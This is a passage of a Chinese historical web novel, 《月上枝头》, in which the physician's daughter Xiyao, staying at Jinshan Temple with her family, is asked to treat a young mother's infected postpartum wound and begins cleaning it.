只见堤岸处人群熙熙攘攘围城一个圈,里面站着一个穿着艳丽玫红色袄裙的女子。离得太远,看不清楚长相,只听见那女子满口叫嚷着要去寻死。一旁一个着深色衣裳的婆子正拉着她,嘴里劝着什么。边上两个才齐头的小丫头嘤嘤在哭。 才一会儿工夫,围观的人越来越多,远远望过去,乌压压一片。 “这个姐姐,不是真的要寻死吧?”虎子看了半天,得出结论。 “你小孩子家家的,又不认识人家,只看了一眼怎么就知道人家不是真的要寻死?”银翘看着身上的饼渣子,气不打一处来,故意和虎子斗嘴。 “真的嘛。我家隔壁原来住了一个大娘,三天两头的要寻死,婆婆说了她两句要寻死,儿子被学堂的老师训斥了要寻死,回娘家和姐妹拌嘴也要寻死。天天都说“我不活了”,可是这么多年了,也活得好好的。我娘说了,但凡嘴上闹着要寻死的,都不是真的要寻死,真的要寻死的人,一条绳子吊死了,静悄悄的。” “哎呀,桂香嫂子看得可真通透。但这上吊寻死的事儿,怎么能和个娃娃说?”紫草上甲板来唤大家吃饭,刚好听到了后半段。 “这有什么,不过是邻居间家长里短的。再说了,这些事儿还真的就得从小就让娃娃知道,你看,这要寻死觅活的,可不是一家两家呢。”银翘说着噘嘴指指岸上那个妇人。 “我可不是娃娃了,我是小男子汉。” “是是是,小男子汉,你先下去找卞妈妈洗把脸,把身上也捯饬一下,瞧着满身的饼渣子。这几个肉饼啊,我给你包好,留着下午吃行不?咱们就算下船,到金山寺也得有一段路呢,刚好给你在路上垫垫肚子。”说着紫草想帮虎子把饼子收起来。 “我不,我要自己收着。”话音刚落,小家伙就捂着他的一碟子肉饼跑下船舱了。 “随他去吧,这个年纪的孩子,正是淘气的时候呢。虎子其实已经很乖了,前阵子一直在船舱里,也就是今日要上岸了,他高兴。”阳光下,夕瑶看着虎子,温柔地说着话,但是笑容却到不了眼底。 她想到了唐棠,她自己那个可爱的,软软糯糯的,会抱着她的腿叫阿娘的姑娘。那天在梁府,孩子睡醒了看不到她,肯定着急了吧,也不知道哭了多久,樊嬷嬷哄不哄得了她。这几日,她睡得不安稳,在梦里总是梦到女儿哭着找娘。 紫草和银翘看着自家姑娘这表情,肯定是想小小姐了。两人眼神一对,急忙打岔, “今天厨上的王婆子说啊,河道上有人泛着小船叫卖蔬菜,那马兰头啊,荠菜啊,水灵灵的,可新鲜了。” “那可是正当季的菜蔬啊,一会儿姑娘可要多用些…” 说着一人一边,扶着夕瑶进船舱了。 和其他位于偏远山区的寺庙不同,金山寺虽然也在金山上,却并不偏僻。金山坐落在长江南岸,刚好在镇 14. 度支员外郎案 楔子--2 《月上枝头》全本免费阅读 这封帖子倒是没有困扰唐家太久。横竖已经外放了,既来之则安之吧。 次日一早吃过早饭,夕瑶扶着母亲在院子里走走。 要说这里的景色是真不错。金山原就在长江南岸,而金山寺又依山而建,结合了山势的特点,让整个寺庙有一种自然而古朴的感觉。 而寺庙安排的这个观澜堂,刚好在金山腰上的一角,从院子里望出去,能够眺望到远处波澜壮阔的江水,让人心境开阔。往略近一处看,越过山下的树木,几乎能够看到大半个镇江城。然而因为隔着山林,城里的喧闹在山上一点也听不到,真正做到闹中取静。 略略走了一圈,唐母有一点气急,背上也微微出汗了,示意在园中的石凳上歇息一会儿。 “哎,原想着今日里天气这么好,咱们可以去大雄宝殿和天王殿转转的。金山寺是千年古刹,听说寺里很多雕梁画柱都是前朝留下的,连殿里的陈设也与别的寺庙不同。瞧我这不争气的身子骨,拖累你们了。夕瑶,你带着虎子自去转转吧,我这里留卞嬷嬷陪我就好。” “娘说的哪里话,怎么就拖累了。横竖咱们住在这寺里,想去看随时都能去。而且我听小沙弥说,一般香客们都是早上来进香,人多,闹哄哄的。” 夕瑶坐在唐母身边的石凳上,挽着母亲的手臂,把头靠在母亲肩膀上,“母亲是知道我的,素来怕人多,这会儿我才不去呢。依我说啊,咱们不如吃了晌午饭,歇了午觉,等香客们散的差不多了,咱们慢悠悠晃过去,多自在。” 唐母知道孩子是给自己宽宽心,笑着拍拍夕瑶的手,“那虎子呢,也和咱俩一样在这小院儿里?可别把孩子憋坏咯。” “哪能啊,这小子今儿天刚亮就去找明心了。他昨天夜里听说寺庙里的小和尚每天早上都要做早课,非说要去看看。今天我起床去看他,已经没影子了。” “他不会给人添麻烦吧?” “不会的,虎子有数的。在来的路上我就和他说好了。今天去看早课,也是提前问过庙里的师父,人家同意才去的。” “那就好。” 春日的暖阳下,母女俩有一搭没一搭的说着话。 “对了,娘,那张帖子呢,咱家和傅家有旧吗?”夕瑶想起来还是觉得闷闷的,总被人盯着的感觉可不舒服,但是事情总得处理。 “没事,我今天早上问过你爹爹了,咱们和傅家以及叶家都没有什么关系。到是和叶氏的外祖王家有过一点往来。王家老太爷以前做过礼部郎中,后来往上升,做过礼部的主事。你爹爹那时候在太医院挂上名号,旨意就是王老太爷来颁的。不过这是好多年以前的事情了,如今王老太爷也走了。” 唐夫人的思绪随着旧事飘出了好远。也就是明德在太医院挂上号之后的四五年吧,刘千祥母子上门来了。那么文质彬彬的一个清秀少年,结果却…哎,要是当时他们母子没来,今天可能是另外一番景象。 “那咱们就回了她?” “嗯,我今早已经让卞妈妈去回了。” 至于为何傅家人会这么快知道自家住进金山寺的消息,母女俩都没提起。已经避无可避在旋涡之中了,只能走一步看一步,随机应变了。 下午申时过半,太阳已经慢慢斜下山去,只留下一个金边还在外头。庙里香客们也走得七七八八。 夕瑶搀扶着母亲,慢慢悠悠踱进了大雄宝殿。 要说金山寺的大雄宝殿是真的气派,殿内正中央供奉着高十数米的释迦牟尼佛,而阿弥陀佛和药师佛则分立两侧。除此以外,大殿两旁还有六十八尊形态各异威风凌凌的的罗汉像。释迦摩尼佛的背面为南海观音像。宽大的幢幡从梁上垂下,螺旋形的盘香也高高挂起,微风穿过殿堂,略略飘扬幢幡混合着厚重的檀香,给整个大雄宝殿增加了庄重的氛围。 夕瑶扶着母亲在大殿正前方的蒲团上跪下,自己也跪在一旁,母女俩双手合十,很默契地许下了一样的心愿:但求家宅平安,早日团圆。 上完了香,夕瑶问起父亲,“你爹爹啊,一早用了早饭就去和了空大师论经去了,说是好多年没见了,昨夜下棋没过瘾,今天想要接着下,让我们不必等他用饭。” 在走廊尽头的厢房里,唐大人正和一个神秘人见面。 他从怀里缓缓掏出一个不起眼的荷包,递了过去。 神秘人接过荷包,里面是一个鸽子蛋大小的蜡丸,捏碎蜡丸,露出了一张薄薄的纸片。 神秘人光速读完了上面的字,然后用纸片引了烛火,一眨眼的功夫,薄薄的纸片便被火舌舔个干净。他把灰烬泡在面前的茶杯里,低声说:“唐公,此事不易,您想好了吗?” “自然是想好了。”唐大人的声音平和,仿佛在说一件微不足道的事情。 两人前后脚出门,走前,神秘人把面前的冷茶从窗外泼了出去,浇在外头的树丛中。 到了金山寺的第三日,春色已经渐浓了,院子里的玉兰花从原先半开的状态逐渐绽放,开出了碗口大小的话多。 虎子蹲在树下,抬头望着满树的玉兰花朵。 银翘从后面走过,“虎子,你看啥呢?树上有鸟啊?” “我在想,要是庙里的厨房会做脆皮玉兰花就好了。” “什么,脆皮玉兰花?这么好看的花要用来吃?我说你个小鬼,怎么满脑子都是吃啊?”银翘一手扶着额头,颇为无语。这虎子,啥都好,就是看到吃的就走不动道。在船上的时候,大家都晕船,吃不下饭,唯有他,不仅顿顿吃得香,点心零嘴也从不落下。船老大捕上来的各种鱼虾蟹,都祭了他的五脏庙。 下船前几日,船老大从别的小舟上收来了半箩筐河蚌,那玩意儿边边上韧得很,不好咬,中间咬进嘴里和烂棉花一样,口味奇怪的很,偏着小鬼爱吃,一顿吃八个。吓得老爷大晚上给他熬山楂饮子,生怕河蚌不好克化,让他吃坏了肚皮。可结果呢,厨娘来说,灶上做了剩下的河蚌一晚上全没了。这小鬼事后说没吃爽快,晚上自己偷摸进厨房全吃了。 “玉兰花真的就能吃啊,我阿娘以前给我做过,很好吃。”虎子被银翘用手指戳了脑瓜子,颇为不服气,“不信,我摘一朵,给你吃吃看啊。” “我才不吃呢,你以为谁和你一样啊,啥啥都爱吃。” “你就是不懂,”虎子说不过银 15. 度支员外郎案 楔子--3 《月上枝头》全本免费阅读 吃过晚饭,唐老爷在屋内给唐母搭脉,“果然还是得定下来修整啊。我看你这几日脉象比在船上时平和多了,夜里也睡得踏实。要不,我们索性在金山寺多住几日吧。就是寺庙里只能茹素这点不好,你和夕瑶之前都伤了元气,还是食补调理一下为好。要不我回头问问方丈,能不能租个寺庙边上的小院子。” “阿弥陀佛,菩萨面前你瞎说什么呢。真要去问,回头让了空大师把你打出来哦。”唐母笑着嗔怪道。 搭完了脉,唐明德顺势握住了妻子的手,“这些年跟着我东奔西跑的,苦了你了。” 透着温暖的烛光,唐母脸一红,想把手收回来,挣扎了一下,握得太紧,没收成,“老夫老妻的,说这个干什么。” “倒是你,短短数月,都长白头发咯”,唐母看着朗子的鬓角,忍不住鼻酸,“要不是我伤了身子不能再生养,咱们家也能在多几个子女,真到了紧要关头也能有个助力,不用你一个人扛着。” 眼前这个如同松柏一般的男人,从年少时就开始伴着她,两人一起从南到北走过了这么多地方,经过了这么多风雨。他始终在她身边,像是一把大伞,为她和孩子擎住了一片天,不让外面的风雨飘洒进来。如今,他也老了,眼角唇边有了皱纹,白发也冒出来了。唯有这只手,温暖的,有力的,稳稳握住她;唯有这双眼睛,温柔的,和煦的,一直注视着她,满心满眼都是她。 唐父把老妻拉进怀里,“我有你和夕瑶就足够了。” 屋子里温情的时光被门外的敲门声打断了,门上来传话,说明心小沙弥来了,似乎有急事。 这一头,夕瑶也听到了的动静。等大家到了厅堂,明心已经在里面踱步了,一见唐家人来了,顿时松了口气。 “阿弥陀佛,小僧深夜打扰了,还请施主们见谅。” “小师父不必客气,这几日多得金山寺上下的照顾,到是我们叨扰了。今夜有何事,小师父但说无妨。” “有一个女施主,其实来了三天了。一直想和唐夫人见上一面。今日白天她递了拜帖,但是被婉拒了。”明心小师父有些犹豫,想不好要不要开口,“小僧,小僧见她一直跪在佛前哭,实在心有不忍,所以想替她再来问问,能不能得唐夫人一见。阿弥陀佛,是小僧修行不够,遇事不定,还请施主见谅。”小沙弥把心里的话说完了,松快了不少,但是不知道对方会有什么反应,一颗心七上八下的。 “小师父说的这个女施主,是傅门叶氏?” “也是,也不是”,小和尚挠了挠头解释。“这个女施主经常来金山寺为家人祈福,所以小僧和她有些熟悉。她是叶老夫人,是您口中傅门叶氏的母亲。” “叶氏的母亲?”唐夫人低声呢喃,抬头看向唐老爷,对方也一脸迷茫。 “也罢,既然对方三番两次求见,想来是有重要的事情吧。那我们就见见吧。”唐夫人虽然疑惑,但是想着对方可能也上了年纪了,又听小师父说她跪在佛前一直哭,到底还是心软,“劳烦明心小师父去把人领进来吧。” “不劳烦,不劳烦,”明心得了肯定的回复,一下子就高兴起来,又想到了寺庙的规矩,连忙双手合十行了个礼,“小僧这就去领她进来。” “蕊静,你们女眷会客,我就不便在场了。我去隔壁屋子看会儿书,一会儿有什么情况你再和我说。夕瑶,你就陪着母亲一起会客吧,”说着,唐老爷和明心一起出了厅堂。 一会儿工夫,就听到明心在门口说话的声音,“女施主,小僧就陪你到这里了,小僧告退了。”“有劳师父了”,回复的是一个带着鼻音的温柔女声。 夕瑶和母亲抬头,先进入视线的是一袭莺茶绿绣着牡丹花纹的淡雅宋锦长裙。随着来人跨过厅堂的门槛,裙摆轻轻摇曳。上面银线刺绣的花纹,在烛光的反射下熠熠生辉。上面搭配的是一件若叶底的绸缎对襟衫,衣摆宽松,只在下端衣角处用深绿色的丝线绣了底纹。原本浅色的衣着在上了年纪的人身上容易显得不庄重,但是上衣下端的深色底纹却恰好压得住,反而显得素净典雅。 再往上瞧,来人看着大约四十过半的样子,长着一张鹅蛋脸,皮肤白皙,头上简单地绾了个圆髻,用一根水头极好的的翡翠竹节纹扁方别住,耳垂上搭配的也是同色的翡翠耳坠。只一双眼睛通红,鼻尖上还能看得出哭过的红晕。 刚迈进屋子,对方就跪下了,“求唐夫人救救小女吧。” 饶是提前有心理准备,夕瑶和母亲还是吓了一大跳,夕瑶赶紧给人扶起来。 “夫人这是干什么,快快起来,有什么话咱们坐下了好好说。” 夕瑶扶着来人做到了厅堂两侧的圈椅上,刚好紫草来上茶点,走到门口了。夕瑶看着屋里的情况,赶紧出去接过,使了个眼色,让紫草先退下。 把托盘上的茶水和点心放在圆椅旁的茶几上,夕瑶趁着人擦完眼泪的空挡,把温温的茶盏放在对方手里,“夫人别着急,先喝口茶,缓一缓慢慢说。” 许是真的哭了太久,又或者是一时激动气急,这位夫人一时说不出话来,双手捧着茶盏微微颤抖。喝下茶缓了好一会儿,方才开口。 “小妇人娘家姓王,夫家姓叶,单名一个桢字。我在家里排行第二,未出阁的时候,家里人都叫我二娘。” “原来是王夫人。那傅门叶氏是您的?” “是我那不争气的闺女。”一说起女儿,这位娘子又忍不住从袖子里掏出手绢拭眼泪。 “娘子莫哭了,有什么话慢慢说。“看着王夫人这样,唐母心中也有不忍。 “我家芸娘嫁入傅家四五年了。最开始几年一直都没有怀上孩子。虽说夫家没说什么,但是总是有些闲言碎语。女婿到是还好,一直劝着说孩子是父母的缘分,不能操之过急。去 16. 度支员外郎案 楔子--4 《月上枝头》全本免费阅读 夕瑶和母亲一直都是心软的人,眼瞅着王夫人在她们面前哭得上气不接下气,同是做母亲的,她俩心里也不好受。但是这个档口上,夕瑶还是保留了一丝理智。 这件事情处处透着奇怪啊。一个内宅的妇人是怎么知道唐家会靠岸下船呢?又是怎么知道他们何时入住的金山寺?更奇怪的是,虽然爹爹的医术确实名声在外,但是母亲会医这个事情很少有人知晓。整个上京知道的人家也不多,更别说是外地了,叶家是怎么知道的呢? 随说叶家娘子难产失血的确是其情可悯,可是叶家花费这么大力气,一而再再而三的求见,一次两次地递帖子,接着又是跪在佛前哭,来打动明心小沙弥帮着传话。夕瑶心里还是有不少疑惑。 唐母倒是没想这么多,只是如今她身体不好,这忙是想帮也帮不上。 她示意夕瑶和她一同把叶娘子扶起来,又去门口让人打了热水来,拧了热帕子给王夫人敷眼睛。 “王夫人,您缓一缓,莫哭啦,仔细哭坏了眼睛哦。如今你家姑娘产后需要调理,家里一大家子的事儿想来也是都指望着你呢,这要是哭坏了身子,你让他们还能指望谁去?”她把热帕子轻轻按在叶娘子的眼睛上,“敷个热帕子,眼睛舒服些。我刚刚让他们再上了个枸杞饮子,加点儿蜂蜜,一会儿敷完眼睛,你喝下去,嗓子也舒服些。” 唐母的声音柔柔软软的,仿佛一阵春日的和风从耳边扫过,让沉浸在悲伤情绪中的王夫人慢慢静了下来,哭声止住了,只留着鼻子还一抽一抽的。 “我娘家老早前是开药铺的,所以从小也算是耳濡目染吧,或多或少都认识些药材。加上我自己喜欢,爹娘也不拘着我,六七岁上下,我就跟着店里坐堂的老师傅学习给人诊脉,当然,后来长大了,就不能这样干了。只是那段时光,现在想想还是很有意思。” 唐母想让王夫人缓一缓,歇口气,就慢悠悠地讲起了往事。 “成了亲以后啊,我跟着我家老爷东奔西跑的,反倒是忙得多。那些年我们随过疾风军,男人们在前头打仗的时候,妇人们就在后方组织生产,抚养孩儿,照顾伤员或者帮忙砍柴做饭。有几场大仗,一打就是数十个回合,战场上的伤员一批接着一批撤下来,军队里的大夫们根本不够用,每日里忙的手脚朝天,连喝口水都顾不上。这时候妇人们也只能顶上。桨洗纱布,包扎伤口,给伤员们换药喂饭,都算是家常便饭吧。中途有几年不打仗,我和我家老爷也在地方上开过医馆,也不算多大的医馆吧,规模很小,也就是我家老爷闲不下来,想找点事情做做。来看病的基本都是街里街坊的,有时候遇到些妇人症,小儿症,男人不方便瞧诊的时候,我也替我家老爷上门去瞧瞧,就当是帮帮街坊的忙。不过这些啊,都是好多年以前的事儿了,你能打听到这些陈年往事,想来也是费了不少功夫。” 王夫人有些羞愧,也可能是紧张,眉目上敷着帕子看不清楚表情,但是一双手却不安地搅在一起。 “本来啊,你家姑娘难产,一般的大夫看着不方便,我走一趟也是应当的,都是妇人,看诊换药什么的,总是方便些,可是如今却是心有余而力不足了。”唐母坐在王夫人的边上,隔着帕子,柔和的声音从王夫人的耳边穿过。 “你既能打听到这些,想来也能打听到我已经好多年不曾行医了。特别是这两年,我身子骨不好,家门都很少出。京城里的那些大小的女眷聚会,我也是一概不去的。说来不怕你笑话,别说出门行医了,我们一家子老小住进金山寺算起来也有几日了,你问问小师父们就知道,我一共才出过这院子一回,让只是姑娘陪着去大雄宝殿走了走,旁边的罗汉堂都未进去就回来了。即便是有人搀扶着,我单单逛完一个大雄宝殿,都得一个时辰呢。” 其实自打唐家人住进金山寺,王夫人听到消息,前后脚的就赶来了。这些天,她除了想尽办法各种找人打听以外,也偷偷找小沙弥套了几回话了,知道唐夫人所言不虚。可是啊,打听到的和当面问了亲耳听到的终归不一样。王夫人之前总还是抱着一线希望,万一人家只是不爱出门呢?万一人家只是水土不服呢?真听到了答复,心中的最后一线希望也落了空,心就这么沉了下去。 她呆坐在椅子上好一会儿,静悄悄的,周围的空气也仿佛在这一刻凝固了。夕瑶和唐母都没开口,这时候,人家要的也不是什么安慰吧。 过了一阵子,王夫人终于缓过来了。她轻轻叹出一口气,单手拿开了帕子,缓缓站了起来。她没有哭,甚至没有什么表情,但是那种深深的绝望,从她的双眼里漏出来,藏都藏不住。 她转过身,向唐母屈膝行了个礼,“之前多次打扰,今日又深夜叨扰,实在是对不住的很,还请唐大娘子见谅。”说罢,便如同一个木偶一般慢慢往屋外走。 “王夫人留步!”唐父的声音从隔壁的书房中传来。 一回头,看到唐老爷急匆匆从书房走了出来。 “王夫人留步,王夫人有礼了。”“唐大人有礼。” “我方才在书房看书,说来惭愧,夜里四周安静,你们在厅堂说的事情我多少听了一耳朵。我就不绕弯子了。拙荆这两年的确是身子不好,没法上门问诊了。但是小女夕瑶从小也是跟着我们学医的,您要是不嫌弃,不妨让她先去瞧瞧。” “爹爹!”“真的?”两个声音同时想起。 “唐老爷,您说的是真的吗?”王夫人的声音一下子雀跃了起来。 “爹爹,这,我怎么行呢?”夕瑶一下子有点懵了,她没想到爹爹会让她独立出诊。 她的确学医多年,那时候她跟着爹爹坐过医馆,和母亲给村里的妇人问诊上药 17. 度支员外郎案--初见患者 《月上枝头》全本免费阅读 第二日卯初,山下的公鸡刚刚打过鸣。整个金山被一层厚厚的晨雾笼罩着,只在远方的云海深处,看到一丝丝太阳的金光。 夕瑶因为心里有事,醒的特别早。躺着床上,没睁开眼睛,反而这时候耳朵特别灵敏。窗外山林里的鸟叫声,院子外小沙弥的洒扫声,一清二楚。思绪仿佛不受控制,飘到了家里书房着火那日。也是这样的闭着眼,强按下内心的惶恐,侧耳听着周围的动静分辨方向。火焰燃烧书籍木架哔哔啵啵的声音,那种让人害怕的炙热,时不时飘来的火星子和没燃透的纸片,掉在衣裳和皮肤上,嘶一下,伴随着钻心的疼痛。那一切仿佛还在耳边,还在眼前。 她双手不由自主地抓着被子,呼吸也急促了起来。 突然间,她听到了放低的脚步身,熟悉的。 “银翘,进来吧,我醒了。”一睁眼,看到了床顶上苔绿色的棉帐。 银翘轻手轻脚地进来,手里还捧着一脸盆热水,”姑娘,我刚刚还在门口犹豫要不要唤你起床呢。” “什么时辰了?” “刚过了卯时,且早呢。姑娘今日倒是起得早。” “嗯,这不是早上要出门么。对了,你怎么今天也这么早?”往日里自己起得没这么早,身边的女使们自然也不会这么早送洗脸水。 “嗨,这不是刚刚明心小师父来传话,说寅时过半,侧门已经有一辆马车等着了,车把式说是来接小姐的。我这才想着来看看小姐醒了没。” “寅时过半?这么早啊。昨天约的是卯正啊。那行,咱们赶紧梳洗,别让人家等太久了。” “这也太早了吧。”银翘嘴里嘀嘀咕咕的,手上到是丝毫不慢。夕瑶洗完脸坐下涂面脂的工夫,她已经帮夕瑶梳好一个小盘髻了,“小姐今日要去别人府上,太素了也不体面,你看咱们用两个珍珠的排簪,搭配这个珍珠蝴蝶形的耳坠可好?”说着,银翘拿着一对簪子在夕瑶的头上比了比。 “别这么复杂了。今日不是去做客,是去问诊的,简单松快些好,方便做事。”夕瑶从妆匣上层拿了最前面的玉兰花形青玉发簪递了过去。 “怎么又是这个簪子啊。小姐你日常在家也用的是这个,今儿出门也不挑个好看些的。”银翘接过簪子就开始嫌弃。这个簪子还是姑娘及笄那年夫人命人打制的,这么些年了,早就半旧了。 “小祖宗,你快着点儿吧,门上马车还等着呢。”夕瑶催促着,手上也不停下,拿了匣子里和簪子一个色系的,同样用了好几年的耳环带上。“人家今天是找我治病的,谁管我簪子好不好看。而且这个簪子最轻,带着方便也不扯头皮。” 因为夕瑶平日里也没有浓妆艳抹的习惯,早上的梳洗到是很快,不到一刻钟便都弄好了。 “小姐你等等,我这就去厨房拿些早食。”说着银翘就要往厨房走,“大早上出门,总不能饿着肚子去。” “别忙了,这会儿师父们可能都还在做早课呢。而且你一来一回,也费时,”夕瑶一把拉过银翘,“茶桌上有点心和茶水,我对付一口得了。” “小姐,那都是昨天的了,茶水也都是隔夜的冷茶,喝了对身子不好。” 银翘还想要说服一下,夕瑶倒是爽快,嘴里塞了两块茶酥,灌了几口冷茶,咽下去,出门了。 到了金山寺侧门,马车已经等了好一会儿了,车夫靠在车辕子上打盹,夕瑶走近了还没醒。倒是车厢的里,听到了动静,一下子打开了车门。 “是唐家姑娘吧,这一大清早的,辛苦你了。”原来竟是王夫人亲自来接了。 “劳烦夫人了,夫人叫我夕瑶就好。” 王夫人今日看起来倒是精神头好了不少,就连嗓子也不这么低哑了。她这一开口,把车夫彻底惊醒了。 “这是哪里的话,这大早上的,害得你早饭也没好好吃吧。我这车厢里准备了些吃食呢,都用小炉子温着呢,未见得多可口,但好歹可以路上垫巴一口。”王夫人边说着,一边下来了一个小丫头,放好了矮凳,要扶夕瑶上马车。 “姑姑,等等我,姑姑,姑姑…”虎子的声音从门内传来,由远及近,一会儿功夫,到眼前了。 “姑姑,你这是上哪儿去,带上我啊。” “虎子乖,姑姑去外面办点事,晚些就回来。你去找银翘或者明心小和尚玩哈。” “姑姑,你带我一起去啊。”虎子说着就扯着夕瑶的裙摆。 夕瑶还试图和孩子讲道理,可是五六岁的娃娃,正是好动的年纪,兴头上来了,哪里是三两句道理能够说服的。眼瞅着,小家伙的眼眶里蓄满了眼泪,下一秒就要哇一声哭出来了。 “这小孩倒是有趣,那就和咱们一起去吧。”王夫人在后面劝说。 “夫人,这孩子顽皮,我怕带上了,回头闹腾,给您添麻烦。” “我不顽皮,我不顽皮,我保证乖乖的。姑姑,你就带上我吧。”一听说可能能一起去,小虎子可是把胸口拍得响响的。 “就带上他吧,”看夕瑶没动摇,王夫人解释道:“唐家娘子,我也不把你当外人。这女子成了亲啊,顾忌总是多一些。我原打算,回头问起来的时候,就把你当作自己娘家的亲戚,就说是芸娘生产,你是去探望的。咱们关起门来诊脉问药,一点痕迹都不留。可若是说你是大夫,回头又要多一番是非。之前我给芸娘找了几回大夫,她婆家姑姐话里话外的就不好听,我倒是没什么,就怕芸娘听到了难过。”王夫人的脸上写满了抱歉。都是做母亲的,自是要为孩子多打算些,夕瑶能理解。 “夫人说的是,那我就把这小家伙带上,回头夫人就说是亲戚,带着孩子来探望的。” 一回头,夕瑶对着虎子假意板起了脸,“行吧,那就一起去吧。我让人和母亲说一声,省的她起来了找不到你担心。另外,咱们说好了啊,一会儿我说什么你做什么,不可以淘气。” “好!” 金山寺距离傅府不算很远,就是算上了马车从山腰上走下来的路程,一共也就大半个时辰就到了。 停下马车,门上已经有女使来接了。 “小姐起了吗?今日情况怎么样?” “回太太,小姐起了。今日情况…和昨日里差不多吧。”这女使看着十六七岁的样子,穿一身黄色的衣裙,梳着个双髻,身边还带着一个十二三岁的小丫头。花一样的年纪,脸上却带着忧愁。 王夫人轻轻叹了口气,带着夕瑶急步往里走。 傅府颇有江南建筑的特色,亭台楼阁的,一样望去很是精致。绕过一个照壁 18. 度支员外郎案--初见患者2 《月上枝头》全本免费阅读 “芸娘,让夕瑶给你看看吧。一会儿就好。” “母亲,我真的没事,就是累了,想睡会儿。”芸娘还是很抵触,只闭着眼,想自己摸索着躺回去。 王夫人的眼泪如同断了线的珠子一样往下掉,“芸娘啊,你是要急死母亲啊。你这些天,汤水饭食都进不了,就是个没事人也被熬垮了啊,更何况你刚刚生产。”见女儿已经有了轻生之意,王夫人心如刀绞,“唐家的小娘子深得唐大人的亲传,你就让她看看吧。” “母亲,我…”芸娘实在是不知道怎么说,那患处的情况,她自己心里有数,怕是没救了,看了也白看。如今还要给一个外人看,她更是十万个不愿意。 “芸娘啊,就当母亲求你了。你哥哥姐姐都在外地,一两年才得见一次,母亲身边只有你。要是你有个什么好歹,你忍心让母亲这个年过半百的人来送你这个黑发人吗?” 听到这里,夕瑶才意识到,原来王夫人已经是这个岁数了。原本只看外表,夕瑶一直以为人家才四十出头。 芸娘心里万般不愿意,可以眼前哭成泪人的母亲也让她硬不起心肠。这些天,她虽起不来身,可猜也能猜到母亲为了替她找大夫花了多少力气。罢了,如了母亲的心愿吧。 芸娘从被子里伸出了手,“那就麻烦夕瑶妹妹了。” 夕瑶从药箱里拿出了腕垫,把芸娘的手放在上面,仔细诊着脉。和她预想的差不多,芸娘的脉象既细且弱,仿佛犹如秋日的落叶,一阵微风就能将其吹散。在这细弱的脉象之中,又夹杂着一种沉迟之感。产后失血,加上一连几日未进食,她体内的气血严重流失,脾胃功能也近乎停滞,气血生化之源枯竭,这就是那股沉迟之感的来源。但是让她一下子没想明白的是,这脉象中还夹杂着些许不规律的跳动,时快时慢,如同乱舞的柳絮,毫无章法。 夕瑶收回手,想了一下,还是开口:“叶家姐姐,能否让我看看患处?” “自是要看看患处的,”王夫人接下话,边想要动手把盖在芸娘身上的锦被掀开,芸娘死死按着被子,“娘,你先出去一下。” “我是你娘,有什么关系,”王夫人嗔怪道,说着又想动手。 “娘,你先出去。”芸娘这次语气肯定,不愿退让。 “王夫人,要不您先去外间喝口茶吧?”夕瑶略略猜到了缘由,帮着开口劝说。 “行行行,娘去隔壁屋子候着。芸娘啊,你有事就叫娘一声啊,”说着王夫人依依不舍地退到了外间,顺手带上了里屋的房门。 看娘亲出去了,芸娘这才松开了被子。 饶是事先有了准备,夕瑶还是被吓到了。 被子一掀开,扑面而来的就是一股子血腥味,夹杂着腐烂的味道。夕瑶探头看下去,整个产道肿胀得厉害,里面的伤口都翻了出来,有些没有清理好,已经化了脓。伤口还敷着看不清楚的药粉,这药粉混合着血水和脓水还有产后的恶露,湿漉漉黏糊糊的一片。 夕瑶终于知道为什么这屋子里的沉香点得这么重了,估计就是为了掩盖这股味道。 夕瑶把被子盖了回去,抬头看,芸娘的脸上挂满了泪水,却还死撑着自嘲,“让唐家妹妹见笑了,我这患处,恐怕已经烂到根上了吧。我原不想这样的,实在是拗不过母亲。” “姐姐想差了。女子生产,产后本就是会有些许恶露排出,这是再正常不过的。只是你有了伤口,敷着药粉,怕是清洗不方便吧。” “是啊,我看了好些大夫,最后用了产婆给的法子才止住了血。但是产婆说,敷了药粉就不能碰水了。”芸娘也知道自己的味道不好闻,这样的委屈和难堪,恰恰落在一个初初见面的人眼里,还是让她想在地上找个缝,把自己埋起来得了。 夕瑶上前握住芸娘的手,“姐姐,女子产后都有这一遭,我自己也生过孩子,也走过这一遭,我很明白你的感受。但是切不可因此觉得羞愧或者不好意思。你得这么想,就是因为女子这么勇敢坚强,愿意承受这些苦楚,才有了生命的延绵不息。” “夕瑶妹妹”,芸娘没想过在她最难堪的时候,难堪到她甚至不想面对自己的母亲的时候,一个几乎是陌生人的人,能理解她的苦楚,肯定她的勇敢。 “姐姐,我想和你商量,咱们可能得换个治疗的法子。原先的法子是止住了血,可是光止血不行啊,产道受了伤,还不能碰水,只能加速肿胀。” “那你想怎么医?” “我现在不好说,都还敷着药粉呢,看不清楚里面。我想着,咱们先把外面的药粉洗掉,然后根据情况来制定治疗的方法。” “洗掉?”一想到伤口接触水那钻心的痛,芸娘不自觉地缩了一下身体。然而还是没有立刻拒绝。 “我这里有我爹爹特制的一种药粉,放在清洗的水里,能够在短时间麻痹患处,减少疼痛。只是它只能减轻,不能做到完全无痛。一会儿我给你清洗的时候,会尽量小心些,如果还是很疼,你和我说,我们随时停下来。” “你给我洗,这怎么使得?” “叶家姐姐,我是医者,帮患者清洗伤口再自然不过了。更何况,丫头女使们,哪里知道清洗那种患处要注意什么呢?要是清洗不得法,反而可能更加弄伤你。” 给芸娘盖回被子,夕瑶便去到了外间。 王夫人刚刚就在外间焦急地来回走,一看夕瑶出来了,赶忙迎了上来,“芸娘如何了?” “夫人别急,我需要夫人帮我准备些东西。” “你说,要什么药材,多名贵的我都能给你找来。” “倒也不要多名贵的。我需要四两胎菊,四两金银花,一两夏枯草,让灶上用烧水的大锅烧足一炷香的时间。接着放凉到不烫手,让人把这锅水抬进来。” “烧,烧水?放凉?”王夫人有点摸不着头脑。 “是,我要给芸娘先清洗患处,把那些敷着的药粉什么的都洗掉,然后才能看清楚具体的情况,好对症下药。” “哦,好好好,”王夫人这会儿明白了,忙着去找丫头吩咐下去烧水。 “夫人别急,刚烧好的水不易凉。你让人用干净的木桶来回倒一下,凉得快。对了,所有能接触到水的东西都需是洁净的,包括木桶,舀水的勺子,烧水的锅中,都得洗净了用热水烫过,确保不接触生水。” “好好好,没问题。”王夫人忙不迭地亲自去厨房吩咐了。 要说傅府的下人们效率真的很高,也就是半个时辰,几个仆妇带着几桶水和干净的水盆帕子进来了。夕瑶让人把东西都抬到里屋,然后让两个芸娘的陪嫁女使帮她把芸娘托起来,在腰部垫上靠枕和被子。接着从药箱里拿出一个青绿色的瓷瓶,往水里放了止痛的药粉,仔仔细细给芸娘的患处做清洗。来回换了三次水,确保所有的血水,脓水都清理干净。 这会儿,夕瑶终于看清楚了伤口的全貌。 